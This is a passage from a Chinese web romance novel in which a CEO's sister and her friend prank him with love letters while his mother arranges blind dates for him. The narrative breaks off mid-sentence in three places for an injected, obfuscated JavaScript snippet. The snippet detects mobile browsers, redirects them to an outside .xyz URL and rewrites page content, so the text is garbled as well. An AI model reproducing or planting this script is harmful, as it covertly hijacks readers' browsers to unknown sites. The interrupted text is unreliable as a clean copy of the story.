但一想到晚饭时路墨又要向路婉告状,秦砚奚就头疼。 路婉年纪大了,听不得兄妹间鸡毛蒜皮的小事,最后遭罪的还是他。 好在路墨现在还停留在需要哄的年纪,比七八岁的孩子好打发些,至少给块蛋糕就能堵住嘴。 秦砚奚刚走到卫生间门口,就听到里面传来路墨低低的啜泣声,有一个女生在轻声安慰她。 他脚步一顿。 哭了? 就因为让她扫厕所? 秦砚奚抬起手,正想敲墙示意外面有人,便听到陌生的女声愤愤道:“我替你骂。” 接着,一阵气势汹汹的吐槽从门缝里传出来。 “野怪被偷了怪中单,下路被抓了怪中单,打野不来支援也怪中单,怎么?中单是你爹还是你娘啊?!” “自己菜得跟狗一样,还好意思甩锅!” “中单既要当工具人,又要打输出;既要支援边路,又要守住中塔;经济最低,锅背得最多,你这个没用的射手,对面有蔡文姬,你怎么不自觉出制裁,凭什么得法师出梦魇?还有你这个0-15的上单,你怎么不出红莲斗篷?” 秦砚奚:“……” 他面无表情地站在门外,听着里面女生对“中单玩家现状”的长篇控诉,一时间不知道该不该进去。 路墨的抽泣声渐渐小了,取而代之的是吸鼻子的动静:“都怪我老板…让我扫厕所…不然我也不会打游戏…就不会受这气…” “对对对,都怪你老板!”女生忙不迭附和,哄小孩一般的语气安慰道,“你放心,我一定追到你老板!” 秦砚奚眉梢微动。 “等我追到手,就让他把名下资产无条件赠予我!”女生越说越起劲,清亮的音色里混着狡黠的笑意,“然后我再甩了他,让他去扫公共厕所,到时候我雇十个黑衣墨镜保镖盯着他,马桶刷不干净不准下班。再不济,隔壁市的马桶也让他去刷,不不不,全世界的马桶都让他刷。” 言书一边说话,一边轻轻拍路墨的背脊。 她当然只是在开玩笑,像秦砚奚这样的大人物,怎么可能看得上她?但看到路墨哭得梨花带雨的模样,她也只能顺着话头说些夸张的玩笑话,权当哄孩子开心,顺便过过嘴瘾。 路墨破涕为笑:“真的?言言,好想让你做我的嫂子啊,要是我有一个好脾气的哥哥就好了,可惜我没有脾气好的哥哥…” 路墨单方面决定断绝和秦砚奚的关系,更不能让言言和秦砚奚在一起。她哥今天敢让亲妹打扫厕所,那他明天就敢让老婆去。 “?”秦砚奚站在门外,听到两人旁若无人地胡说八道,眸光微沉。 “言言,我老板估计已经走了,我们也回家吧。”路墨又道。 言言,秦砚奚在心底默念这个称呼。 他的记性很好,可以说过目不忘。 秦砚奚想起昨天路墨朋友圈的合照,照片里坐在她身边比耶的女孩。 她的脸很有记忆点,圆润的杏眼,微微翘起的鼻尖,看起来像个不谙世事的小朋友,呆呆傻傻的,没想到骂起人来这么利索。 “好啊。”言书应道,“对了,明天的情书先给你吧,你转交给你们老板。” “你老板看到今天的情书有什么反应吗?”她继续问。 说起这个,路墨的心情由阴转晴,忍不住想笑:“据我老板的助理所说,他收到情书后偷乐了一整天…”她在心里默默补充: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180333|180926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才怪,不然也不会让我扫厕所了。 得知真相的秦砚奚:“……” 他抬手松了松领带。 细小的动作透露出几分难得的情绪波动。 原来两人合起伙来整他。 洗手间的门被推开,路墨和言书一前一后走出来,朝左侧走去,秦砚奚站在右侧,两人自然没注意到身后有人。 秦砚奚的目光落在言书的背影上。 她和路墨身高体型相仿,今天穿了件浅蓝色的长款连衣裙,裙摆随着步伐摆动,像一片柔软的云。 “路墨。”秦砚奚开口唤道。 声音低沉温润,在空旷的走廊里格外清晰。 路墨的身体一抖,像是被按了暂停键般僵在原地。言书的反应更大,她下意识地转身,但没注意到地上有一滩水。 “啊!” 她的脚一滑,整个人狼狈地向前扑。 就在她即将摔倒的刹那,一只手从后面抓住她的衣领,像拎小猫一样把她提了起来。 “小心。”那道声音近在咫尺,温热的呼吸拂过言书的耳畔,言书感觉自己的耳朵要怀孕了。 只不过,她还没来得及道谢,甚至没看清身后的人,就被路墨一把拽住手腕,头也不回地往电梯间跑去。 路墨拽着言书一路狂奔,高跟鞋在大理石地面上敲出一串慌乱的声响。直到冲进电梯,她才松开手,撑着膝盖大口喘气。 “你、你跑什么啊?”言书抚着胸口,气息不稳。 她的衣领还有被路墨揪过的褶皱,像朵蔫了的花。 路墨按下关门键,惊魂未定地回头张望:“那是我老板!” 电梯门合上,言书后知后觉:“等等,他是你老板?那他会不会已经听到我们……” “不知道啊!”路墨抓狂地揉乱了自己的头发,“我得找机会试探一下。” “那你的工作还保得住吗?”言书担忧问道。 问着问着,她莫名想到秦砚奚的声音,不禁脱口而出,“不过,你老板声音真好听。” 随即意识到失言,言书急忙补充,“不不不,再好听也是渣男!” 可电梯里的镜面清晰地映出她泛红的耳尖。 路墨察觉到不对劲,眯起眼睛:“言言,你为什么会脸红?你想看我老板的照片吗?” 虽然秦砚奚不爱拍照,但她偷偷摸摸拍过几张。 理智告诉言书应该拒绝,但隐秘的好奇心却在蠢蠢欲动。言书思索半晌,最终还是摇了摇头:“算了。” “为什么?”路墨不解地歪头。 “如果是帅的渣男,我会惋惜这么好看的人品性竟然不好。”言书认真分析,“要是丑的渣男,想到自己给他写过情书…而且你不是说他丑的一批吗?” 想到这,她打了个寒颤,“噫,还是保持神秘感比较好。” 两人从秦氏离开后,各回各家。 言书坐在地铁上,记忆像倒带的胶片,一帧帧在脑海中回放。 她想起自己失去平衡的那秒,双腿像被抽走了骨头般发软,然后一只手及时从背后伸来,揪住她的衣领。 力道不轻不重,既不会勒得她喘不过气,又足够阻止她下坠的趋势。 言书回忆起小时候在公园里看到的场景,蹒跚学步的孩童快要摔倒时,守在一旁的大人总会眼疾手快地揪住孩子的后衣领。 小时候,言书很皮,她的爸爸也是这样,通过揪衣领来制止乱跑乱跳的她,只不过爸爸的动作总是很粗鲁,常常勒得她咳嗽。 相比之下,路墨的老板,倒是温柔。 5. 第五封 「亲爱的秦总,忽然想起几年前某个夏天,您掀起衣角擦汗时无意间露出的腹肌,那线条像雕刻般分明,汗珠顺着沟壑滑落的样子,至今想起我仍会脸红心跳。 记得您总爱捉着我的手按在您腹肌上,笑着说“要不要验收一下你的专属健身成果?”可是,天亮了,梦醒了,而我只是一个自卑的笨蛋。 秦总,这些年走过那么多城市,最想丈量的还是你腹肌的轮廓。」 ——在40℃高温里给您写情书的傻瓜书儿。 * 路墨推开家门,玄关的感应灯应声而亮。 她踮着脚尖往里张望,客厅里静悄悄的,她松了口气,正想蹑手蹑脚地溜上楼,余光瞥见茶几上摆着一个熟悉的蓝盒子。 “蓝莓芝士蛋糕?” 这家店的蛋糕至少要排三小时队才能买到,大概是妈妈给她买的,因为秦砚奚从来不屑于做这种事。 “回来了?” 秦砚奚低沉的声音从餐厅方向传来,吓得路墨身体一抖。 秦砚奚站在餐桌旁,他换了一件深灰色家居衬衫,袖口挽到手肘处,露出线条分明的小臂。明明是最休闲的打扮,依然透着不容侵犯的威严。 “哥...你今天比我早诶。”路墨干笑着挪到餐桌边,眼睛止不住地往蛋糕盒上瞟。 秦砚奚没有回答,拉开椅子坐下。 灯光下,他的眉眼被镀上一层柔和的暖色,但即便如此,也掩不住他眼底的锐利。 路墨如坐针毡,餐椅上的软垫仿佛长出了一层密密麻麻的刺。 在外人眼里,秦砚奚是清冷的翩翩公子,但是在她眼里,秦砚奚就是冷漠无情的凶神恶煞。 见路墨在发抖,秦砚奚心平气和道:“洗手吃饭。” 路墨逃也似的冲向洗手间。 凉凉的水流冲刷过手指,她的心可比水还要凉。 一想到自己和言书在公司口无遮拦,路墨心里就发愁,也不知道当事人有没有听到。 她在卫生间磨蹭了很久,出来时餐桌上已经摆好精致的菜肴,秦砚奚正在替路婉盛汤。 “那个…”路墨落座后,鼓起勇气开口,“哥,你今天有听到我和言书的聊天吗?” 言书,书儿? 秦砚奚抬眼看她,浓密的睫毛在灯光下投下一片阴影,不答反问:“言书是?你想让我听到什么?” 路墨手中的筷子“啪嗒”一声掉在地上。 她慌忙弯腰去捡,额头撞上了桌沿,发出一声巨响。 路婉看到关切问:“小墨你还好吗?你和砚奚在说什么?” “没、没什么...”路墨疼得龇牙咧嘴,使劲揉额头,“我不疼。” 等换了一副新的筷子后,她赶紧低头扒饭。 与此同时,悬着的心重重落回原处。 如果哥哥真听到那些话,现在肯定已经把她拎到书房训话了。 阿弥陀佛。 佛祖保佑她。 “砚奚。”路婉打破诡异的气氛,“你张阿姨又给你介绍了个姑娘,哈佛毕业的,是你喜欢的类型,温柔知性,成熟优雅。” 秦砚奚叹气:“妈,我说过……” “你爸这个年纪,你已经一岁了。”路婉打断他,转头看向墨路,“小墨,你说是不是?” 路墨不知何时偷拿了蓝莓蛋糕,正往嘴里塞,听到路婉的话,蛋糕突然变得难以下咽。 她偷瞄了一眼秦砚奚,后者正用纸巾不紧不慢擦着嘴角,藏在金丝边眼镜后的眼神平静得可怕,仿佛在说,你再瞎说试试? “咳咳...那个...”这事确实是她捅出来的,路墨决定说些什么挽救她和哥哥岌岌可危的感情,“急不得……” 秦砚奚放下纸巾,“妈,我先上楼处理文件。” 他回到书房,关上门。 对于路墨和言书联合起来捉弄他这件事,秦砚奚并不生气。 他心想没必要戳破幼稚的恶作剧,他想着给两个小朋友留点面子也无妨,路墨总该知道收敛了。 书房的檀香静静氤氲,秦砚奚靠在真皮椅背上。 一想到自己的婚姻大事,他就顿感无奈。 秦砚奚并不认为自己有什么“喜欢的类型”,这种说法太过浪漫,不符合他一贯理性的思维方式。婚姻对他而言,更像是一个需要谨慎评估的人生项目。 不过,比起那些活泼跳脱的年轻女孩,他确实更欣赏成熟稳重的伴侣。 不是因为心动,而是因为省心。 两个人相敬如宾,细水长流过日子,不必花费大量时间在无谓的情绪安抚上,这样的婚姻模式,才是他理想中的状态。 激情意味不可控,意味需要额外投入时间和精力去维系。他的生活早已被集团事务填满,实在分不出更多心神去应付感情中的起起落落。 所以他需要的是一位同样理性克制的伴侣,能够理解他对事业的专注,不会因为一次失约或迟到而大发脾气。 两个人各自有独立的空间,又能在需要时给予对方恰到好处的支持。 昨晚看到路墨朋友圈时,秦砚奚承认,他确实被照片里女孩的长相短暂地吸引过。 无辜的杏眼,秀气的鼻尖,笑起来时眼角弯起的弧度,都透着一股鲜活的朝气。 所以他破天荒地给路墨的朋友圈点了个赞,这个举动连他自己都觉得有些反常。 但今天在洗手间外目睹的一切,彻底打消了他那点微弱的念头。 那个女孩和路墨如出一辙的跳脱性格、肆无忌惮的玩笑话都在提醒他一个事实,她和路墨一样,还是个没长大的孩子。 她适合做路墨的朋友,但绝对不适合成为他的伴侣。毕竟他需要的是一位能够与他并肩而立的成熟女性,而不是一个需要他时时照看的小朋友。 不过谁能想到这样一张乖巧的脸,写字竟如此不拘一格? 就像有人受不了指甲刮擦黑板的声音,有人见不得参差的齿距,秦砚奚是完美主义,他的神经会对拙劣的字迹产生排异反应。 尤其是当这些字迹来自一个本可以写得更好的,不,是应该写得更好的人。 * 第二天清晨,秦砚奚踏入办公室,江望知便递来一个信封,唇角压着可疑的弧度。 “秦总,令妹托我转交的。”江望知声音发颤,仿佛在极力忍耐什么。 秦砚奚皱眉拆开信封,粉紫色信笺上画满歪扭的爱心,还写着:“秦总,这些年走过那么多城市,最想丈量的还是你腹肌的轮廓”。 字迹实在不堪入目,秦砚奚看得心脏难受,他冷脸将信纸揉成团,不带一点犹豫,丢进垃圾桶。 本以为路墨会收敛一些,结果他还是低估了她的无聊程度。 没想到她不仅没收敛,反而变本加厉,甚至学会找代理人送信了。 江望知弯腰从垃圾桶捡起情书,仔细一看,噗嗤一声笑出来,他扶着桌子弯下腰,笑得上气不接下气:“秦、秦总我很难想象你按着女生的手,然后放在自己的腹肌上。” 秦砚奚:“……” 下午三点,秦砚奚因私人合作案临时需要外出。 他刚走到大堂,靠近前台,便看到路墨坐在椅子上,全神贯注玩手机。 余光察觉到有人过来,路墨立刻装模作样地翻文件,装出一副认真工作的样子。 “秦总,你怎么来了?” 秦砚奚淡淡地扫了路墨一眼,目光落在她藏在背后的手机,手机屏幕亮着,隐约能看到她和其他人的聊天界面。 秦砚奚戴着眼镜,视力不错,但不至于看清路墨聊天的内容。只是路墨和对方在表情包接龙,满屏花花绿绿的贴图,你一张,我一张,所以秦砚奚看得一清二楚。 路墨察觉到他的视线,手指一僵,下意识把手机往怀里藏了藏,这时屏幕又弹出一个夸张的“哈哈哈”表情包。 秦砚奚收回目光,语气冷淡:“路墨,适可而止。” 路墨哪会不知道秦砚奚说的是情书的事。 只是她观察到,秦砚奚虽然语气冷淡,但眉头舒展,嘴唇没有抿紧,这分明不是真正生气的样子。 路墨见过秦砚奚生气的模样,和现在完全不同。 所以她不但没被吓退,反而凑近一步,压低声音问道:“哥…啊不是,秦总,您有什么话想对暗恋你的女生说吗?” 秦砚奚脚步一顿。 玻璃门外,盛夏的阳光刺眼灼热。 他想起今天无厘头的告白信:他擦汗时无意间露出的腹肌。 无中生有。 秦砚奚沉默两秒,薄唇微启,丢下一句:“40度,没烧傻吗?” …… 一小时后,秦砚奚坐在私人会所的包厢,神色淡漠地看着对面的跷二郎腿的男人,他的好友,周临岐。 周家五代从商,积累了令人艳羡的财富,可这位含着金汤匙出生的少爷偏偏对商业毫无兴趣,一头扎进了娱乐圈,开了家娱乐公司。 周家父母气得直接断了他的经济来源,但他依旧我行我素,甚至兴致勃勃地筹备起一部新电影。 “所以。”秦砚奚端起茶杯,茶香氤氲,他的语气平静,“你着急找我来,是要我投资?” 周临岐咧嘴一笑,丝毫不客气:“没错,还是你懂我。” 秦砚奚抬眸:“多少?” 周临岐报了个足以让普通人瞠目结舌的数字,秦砚奚听完,连眉头都没皱一下,直接同意:“可以。” 周临岐大笑:“不愧是秦总,爽快,作为回报,我给你介绍个人,让你早日脱单?” “不必。” 周临自动忽略他的拒绝,兴致勃勃地掏出手机,翻出几张照片:“看看,我们公司的三位顶流,绝对合你口味——” 第一位,林妍。28岁,身高168cm,气质温婉,黑长直发,眉眼如画。 最出名的角色是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180334|180926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一部古装剧里的大家闺秀,一袭白衣,执笔作画,被网友称为“古典美人天花板”。 第二位,苏曼。25岁,身高172cm,明艳大气,红唇卷发,气场十足。 擅长职场剧,演过不少女强人角色,现实中也自带一股飒爽利落的气质。 第三位,沈清歌。27岁,身高170cm,清冷疏离,黑发及肩,眼神淡漠。 因一部文艺片一炮而红,饰演的角色沉默寡言却充满故事感,被影评人称赞“眼神会说话”。 周临岐一边翻照片一边观察秦砚奚的反应。 让他很失望,秦砚奚没什么反应。 就好像他精挑细选的光彩照人的女明星在秦砚奚眼里,不过是街边的广告牌。 “不是吧?“周临岐不可置信,“这三个可是圈里出了名的气质型美女,多少老板想约她们吃饭都约不到,你居然一点兴趣都没有?” 秦砚奚将茶杯放回茶托:“没兴趣。” “那你倒是说说,对什么类型有兴趣?”周临岐不死心地追问,“我们公司最不缺的就是美女,清纯的、美艳的、知性的,应有尽有。” 秦砚奚没回答,站起身,理了理白衬衫袖口:“资金明天到账,合同发我邮箱。” 周临岐看着他这副油盐不进的样子,无奈摇头:“行吧,不过我听江望知说,最近有个小姑娘,给你写情书?” 秦砚奚:“……” 他没有接话,径直朝门口走去,身后传来周临岐放肆的笑声:“砚奚,春天来了啊。” 秦砚奚刚走出会所包厢,手机震动了下。 是路婉发来的消息:「砚奚,樱樱在家里闹呢,说零花钱用完了,非要买一套什么小说。你顺路的话,帮她带一套回来吧。」 秦砚奚皱眉。 路樱樱是他15岁的表妹,家境优渥,但管教甚严,零花钱总是捉襟见肘。这丫头每次钱花完了就跑到路婉那里撒娇卖惨,而路婉向来对她有求必应。 秦砚奚与路樱樱并不亲近,只隐约知道她有些…特立独行。能让秦砚奚都觉得奇怪的的,那必定是相当标新立异的存在。 路樱樱的朋友圈,可是说是当代非主流文学复兴现场。秦砚奚每次看到,都感觉自己被强行灌下一整瓶劣质青春疼痛文学浓缩液。 比如: 「心碎成二维码,扫出来全是爱你。」 (配图:手指比心+暗黑滤镜) 「抽烟只抽煊赫门,一生只爱一个人。」 (配图:便利店香烟柜特写) 「如果天堂太远,那我宁愿坠入地狱!」 (配图:窗边月光+血红色指甲油) 路樱樱从不屏蔽任何人,这些朋友圈明摆着就是要膈应家里那些“思想古板”的长辈,顺便收获一顿训斥。 秦砚奚虽然被旁人视作老古板,实则不然。他高中收到的情书中,不乏比路樱樱的朋友圈更令人窒息的文字。 他也并非与时代脱节的山顶洞人,该浏览的社交媒体一样不少。 只是随着事业日渐繁忙,社交圈里多是同龄的商业伙伴或年长的投资人,秦砚奚发现自己越来越难以理解当下年轻女孩的思维模式。 不论是路樱樱、路墨,还是素不相识的言书,都让他感到一种微妙的代沟。 不过相比于路樱樱,言书写的情书,就比较清新脱俗了。 虽然都是些扯淡,但至少她没在信纸背面用荧光笔涂鸦“傷嗐~洎己”的艺术字,也没在落款处画个滴血玫瑰。 说实话,秦砚奚对言书写的内容没什么印象。 一方面是因为她歪歪扭扭的字迹实在令人分心,另一方面,有路樱樱那些惊世骇俗的朋友圈做对比,言书的情书简直是小巫见大巫。 秦砚奚本想叫助理去办,但抬头看了眼,透过窗户,正好看到会所旁边有一家书店,索性自己过去买,买完好直接回家。 他给路婉回了条简短的「知道了」,然后朝电梯走去。 * 言书站在书店的青春文学区,仰头望着书架最顶层一排花花绿绿的书封,忍不住叹了口气。 那本《恶魔校草爱上我:99次逃婚未遂》,她嫂子出版社最新推出的“爆款”言情小说,正高高地摆在最上层,封面上的邪魅男主正用他那双“三分讥笑七分薄情”的眼睛俯视众生。 “我就说这种题材已经过时了…”她小声嘀咕着,踮起脚尖,努力伸手去够书,可指尖离书脊还差几厘米。 她不死心,又蹦跶了两下,结果书没拿到,反倒把旁边的《霸道王爷的替嫁娇妻》碰歪了。 正当她考虑要不要去搬凳子时,身后突然横过一截修长的手臂。 一双骨节分明的手轻松抽出了那本书,放到言书面前。 言书下意识接过,道谢时瞥见对方白色的衬衫袖口。 说完,她转身去找嫂子吹嘘过的另一本《重生之影帝老公轻点宠》。 6. 第六封 秦砚奚推开书店的玻璃门,冷气混着淡淡的纸墨香扑面而来。 他径直走到收银台:“请问《恶魔校草爱上我:99次逃婚未遂》有货吗?” 店员正在低头整理书目,闻声抬头,瞬间愣住。 眼前的男人一身白衬衫,鼻子高挺,轮廓深邃,金丝眼镜后的双眸疏离中透着温润,比当下最红的顶流明星还要俊朗三分。 她脸颊一热,结结巴巴道:“有、有的!您稍等,我这就去拿……” “嗯,谢谢。”秦砚奚微微颔首,站在原地等待。 他的目光漫不经心扫过书店时,忽然在青春文学区顿住。 一个熟悉的身影正踮起脚尖,努力去够书架最顶层的一本书,她的指尖离书脊只差几厘米。 言书。 字迹歪扭如蚯蚓爬行,敢在情书里自称“爱你的书儿”的女生。 似乎是看她过于艰难,鬼使神差地,秦砚奚迈步走过去,轻松抽出她要的书,递给她。 言书一怔,下意识接过书,道了声谢。 她没有抬头看秦砚奚,侧身寻找第二本书。 秦砚奚也没说什么,回到收银台。 五分钟后。 店员将包装好的书递给秦砚奚,包装纸上还细心地系了一个蝴蝶结。她鼓起勇气小声问道:“您、您是要送人吗?” 秦砚奚淡淡“嗯”了一声,接过书袋。 “需要写贺卡吗?我们店里免费提供,或者您要办会员吗?可以留下您的姓名和电话,后期过来买书可以打折。” “谢谢,不必了。”秦砚奚干脆利落地拒绝,转身离开。 经过青春文学区时,他看见言书抱着一本书坐在角落的阅读区。她蜷缩在单人沙发里,右手在笔记本上写写画画,嘴里还在小声嘀咕着什么。 言书正在看《岁月沉静如海》。 文艺的名字,文艺的封面。 深蓝色封面烫着一圈银边,海浪的波纹上浮着一艘小小的帆船,简约沉稳,和她嫂子出版社的那些花里胡哨的畅销书大相径庭。 这是她今天真正想找的书。 翻开扉页,宣传腰封上印着:「年度最受期待改编电影!明年情人节重磅上映!」 业内早有传闻,这部小说即将拍成电影,目前正在筹备中。选角问题已经在网上引发了沸沸扬扬的热议。 《岁月沉静如海》讲述的是成熟稳重的建筑师与年轻设计师之间的爱情故事。男主沈砚是业内顶尖的建筑设计师,举手投足间沉淀着岁月打磨出的沉稳与内敛。 他能在董事会上从容应对各方刁难,也能在深夜加班时注意到女主偷偷揉眼睛的小动作;能在国际论坛上用流利的五国语言侃侃而谈,也会在女主感冒时默默熬一锅加了姜丝的白粥。 用现在的话来说,就是典型的“爹系男友”,温柔、可靠,能把女朋友宠上天,能给老婆摘星摘月的类型。 这样的人物,在纸上读来令人怦然心动,可要将其完美呈现在银幕上,却成业内公认的难题。 纵观整个娱乐圈,二十五岁以下的男演员或者是阳光少年型,或者是痞帅型,能驾驭“成熟精英”气质的寥寥无几。 而四十岁往上的老戏骨,演技虽好,可演爱情戏总觉得差了点什么。至于二十五岁到四十岁之间的中生代更是凤毛麟角。 言书脑海里快速闪过几个当红男星的脸:A演技不错但有股油腻感;B气质偏硬汉,和温柔不沾边;C倒是温文尔雅,可身高不够…… “难啊。”言书摇了摇头。 不过这又不是她该操心的事,她既不是制片人,也不是投资方,票房再好也分不到她半毛钱。 言书咬着笔帽,目光在书页与笔记本间来回游移。她完全沉浸在自己的世界里,丝毫没有注意到不远处站着的秦砚奚,看了她很久。 …… 天色已晚。 言书抱起书,走出书店。 她掏出手机给嫂子发消息:「我觉得你们可以考虑转型出版一些有深度的书,像《岁月沉静如海》这种,市场反响不是很好吗?」 嫂子秒回:「那种书卖不动!现在的小姑娘就爱看霸道总裁!」 言书:「嫂子,我和你无话可说」 嫂子:「明天滚来上班」 言书:「……」 * 秦砚奚最近有些焦躁。 焦躁之一来源于言书每天雷打不动、风雨无阻给他写情书。 字迹一如既往的丑,内容一如既往地胡扯,却莫名让他无法像对待其他追求者那样直接无视。 第六天: 「秦总,您开会时用钢笔敲桌面的节奏,和我心跳紊乱的频率一模一样。您不知道吧,学生时代您把沾了咖啡渍的笔扔进垃圾桶,我偷偷捡回来压在枕头底下,现在它闻起来是哥伦比亚咖啡豆混着您手上的洗手液香。 原谅我学生时代在操场上假装跌倒,其实只是想用膝盖蹭一蹭您校裤的褶皱。 听您的员工说,你最讲究“分寸感”,可您喉结上的痣,早在我梦里被舔舐过千百遍。 在操场偷看您背影的书儿。」 第七天: 「秦总,昨天我又梦到您了。我梦到您开车送我回家,您的车载香薰我说不出具体的香味,可我知道您大衣内侧藏着的更隐秘的味道。 梦里您问我为什么总抢着坐副驾驶。傻瓜,当然是为了看您打方向盘时小臂暴起的青筋,还有转弯时您下意识用右手护住我的姿势,哪怕知道那只是您的教养,我也甘愿为这0.5秒的温柔赴死。 凌晨三点舔您照片的书儿」 第八天。 第九天。 …… 秦氏集团越来越多员工感觉秦总最近不太对劲。 整个公司都笼罩在一股诡异的低气压中。 往常秦砚奚虽然冷淡,但至少待人温和。可这几天,但凡进过他办公室的人,出来时都是一副劫后余生的表情。 “太可怕了,秦总今天好凶。” “我汇报的时候他全程盯着我,那眼神简直像要杀人。” 另一人心有余悸地附和:“我交季度报告时也是,秦总的眼神让我怀疑自己是不是算错了小数点后十位。” 这一切的源头,要从秦砚奚大伯转发的一条朋友圈说起。 秦砚奚的大伯是三甲医院的男科专家,朋友圈里常年分享各种健康科普。 前几天他转发了篇《男性三十岁后生育能力下降的十大征兆》,还特意配文:“转发给家里适龄男青年看看”。 好巧不巧,这条朋友圈被路婉看见了。 她本就为秦砚奚的终身大事操碎了心,上周打麻将时李太太还“好心”提醒:“现在的年轻人啊,一直不谈对象肯定有问题。我表姐的儿子就是,后来查出来是那方面……” 路婉愁得头发一大把一大把地掉,整日在家唉声叹气。 秦砚奚今年二十八了,再过两年就三十,她能不急吗?再看看隔壁老陈家儿子,比秦砚奚小两岁,孩子都会打酱油了。 路婉原本以为秦砚奚接受女生的情书,两人至少会有点进展,结果秦砚奚每天准时回家,不是看文件就是开视频会议,没有要约会的意思,白欢喜一场。 秦砚奚见不得路婉愁眉不展,只好妥协答应相亲。 相亲对象五花八门。 第一个是职场女精英,跨国投行的亚太区总监。 两人说话不超过十句。 “秦总,久仰。” 高级餐厅里,精英女高管伸出手,和秦砚奚握手。 秦砚奚礼节性地握了握:“李总监。” “听说秦氏最近在谈东南亚的项目?” “嗯。” 李总监优雅地切着牛排,“我在新加坡待过三年,对那边的营商环境……” “秦氏有自己的评估团队。” 被无情拒绝后,女高管的笑容瞬间消失, 整顿饭在诡异的沉默中结束,临走时,她意味深长地说:“秦总果然如传闻中一样特别。” 第二个相亲对象是文艺女青年。 秦砚奚提前十分钟到达,选了一个靠窗的位置。 窗外暮色渐沉,整座城市华灯初上。 这家位于CBD顶层的旋转咖啡厅是路婉选的,据说“文艺气息浓厚,最适合年轻人培养感情”。 他的相亲对象迟到了十七分钟。 “抱歉抱歉!”一个穿着亚麻长裙的女生匆匆跑来,栗色长发上别着个木质发卡,“刚才在楼下书店看到新到的《海边的卡夫卡》,限量精装版,只剩最后一本了。” 她气喘吁吁地坐下,从帆布包掏出一本精装书,“我是苏雯,自由撰稿人,主要写诗和书评。” 秦砚奚看了眼她的精装本:“村上春树?” “您也喜欢?”苏雯眼以为找到同道中人,兴奋道,“我最爱他笔下那种浪漫又孤独的……” 秦砚奚:“不是很了解。” 苏雯精心准备的文学话题卡在喉咙里。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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总之,自从路婉开始疯狂给秦砚奚安排相亲后,他的生活就陷入了一种诡异的混乱之中。 路婉强调不用门当户对,所以找的女生各有各的特点,心想总有一个能入秦砚奚的眼。 又是一个下午。 秦砚奚站在办公室的落地窗前,眉头紧锁。 “秦总。”江望知轻叩门扉,手里捧着一沓文件进来,“这是您要的文件,还有您今晚的行程安排。” 秦砚奚接过文件,目光在第一页停顿:“晚上七点,法国餐厅?” “是的,夫人安排的。”江望知小心翼翼观察秦砚奚的脸色,同情道:“对方是某艺术世家的千金,据说.…很特别。” 秦砚奚将文件扔到桌上:“推掉。” “可是夫人说.…” “说我临时出差。”秦砚奚顿了顿,补充,“去南极。” 江望知:“…秦总好像被逼疯了,开始说冷笑话了。” 正当江望知犹豫要不要真的订一张去南极的机票时,路墨大摇大摆送来言书第十二封情书,这次署名“您未来的压寨夫人书儿”。 秦砚奚看到信封上歪歪扭扭的字迹,突然有种想抽烟的冲动。 那些字像是被暴风雨摧残过的麦田,东倒西歪地匍匐在纸面上。“您”字的偏旁挤成一团,“压寨夫人”,四个字更是张牙舞爪,最后一笔还戳破了信纸。 秦砚奚不是没想过警告路墨,让她和言书停止无聊的恶作剧,但以路墨的性格,证据没有摆在她面前之前,她会拒不承认。 “望知。” “在。” “去买本字帖。” 江望知一愣:“字帖?” “嗯。”秦砚奚点头,“现在就去。” 半小时后,江望知站在书店的文具区,踌躇不定。 秦总只说买字帖,但没说买什么字体。 他在《颜体楷书入门》和《王羲之行书技法》之间游移不定,最后谁也没选,而是买了一本《狂草书法速成》。 “这个好。”江望知自言自语,“够大气,配得上秦总。” 他想象着秦砚奚挥毫泼墨的样子,满意地点点头。 只是当秦砚奚看到办公桌上《狂草书法速成》,表情不是很好。 “你?” “怎么了,秦总?。” “无事。”秦砚奚深吸一口气,从抽屉里取出一张便签纸,拿起钢笔。 笔尖在纸上停顿,然后流畅地写下:「小姐,能不能先练字?」 7. 第七封 路墨趁上班时间摸鱼,和言书在手机上聊得火热。 她最近发现,拜相亲所赐,她哥憔悴了不少。 往常一丝不苟的秦总,如今虽然白衬衫依旧笔挺,可眼底每天泛着淡淡的青黑,甚至都腾不出精力来管她上班划水和送情书。 其实像他们这样的家庭,相亲再正常不过。 强强联手的商业联姻,门当户对的千金少爷,就是圈子里默认的规则。只是秦砚奚对男女之事兴致缺缺,每次相亲都敷衍了事,三句话就能把场面冻成冰窖,弄得对方尴尬不已。 要问路墨心疼吗? 确实有那么一点儿。 但心疼归心疼,该看的热闹她可一次都没落下。 昨天晚上。 “砚奚啊,今天见的王家千金怎么样?”路婉夹了块排骨放到自己碗里,状似无意问道,“听说那姑娘剑桥毕业,钢琴十级。” 秦砚奚:“她把肖邦弹成了进行曲。” 路墨捂嘴憋笑,肩膀可疑地颤抖:“咱们家够有钱了,哥也不需要靠联姻来巩固商业地位,对吧?哥你是不是更看重感觉?” 路婉何尝不明白感情要讲感觉,可自家儿子眼里只有财务报表。她急得直拍桌子:“你这孩子,门当户对的看不上,普通家境的也看不上,难道真要孤独终老?” 路墨啃完鸡翅,精准切入要害:“妈,您到底从哪儿挖来这些相亲对象的?” 